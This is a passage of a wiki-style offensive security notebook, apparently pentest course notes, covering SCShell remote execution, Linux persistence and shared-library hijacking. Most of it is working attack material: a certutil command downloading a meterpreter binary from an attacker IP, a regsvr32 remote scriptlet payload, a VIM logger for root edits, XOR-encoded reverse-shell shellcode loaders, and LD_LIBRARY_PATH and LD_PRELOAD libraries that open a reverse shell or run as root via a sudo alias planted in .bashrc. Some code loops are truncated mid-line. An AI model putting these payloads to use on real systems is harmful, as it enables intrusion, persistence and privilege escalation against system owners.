# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
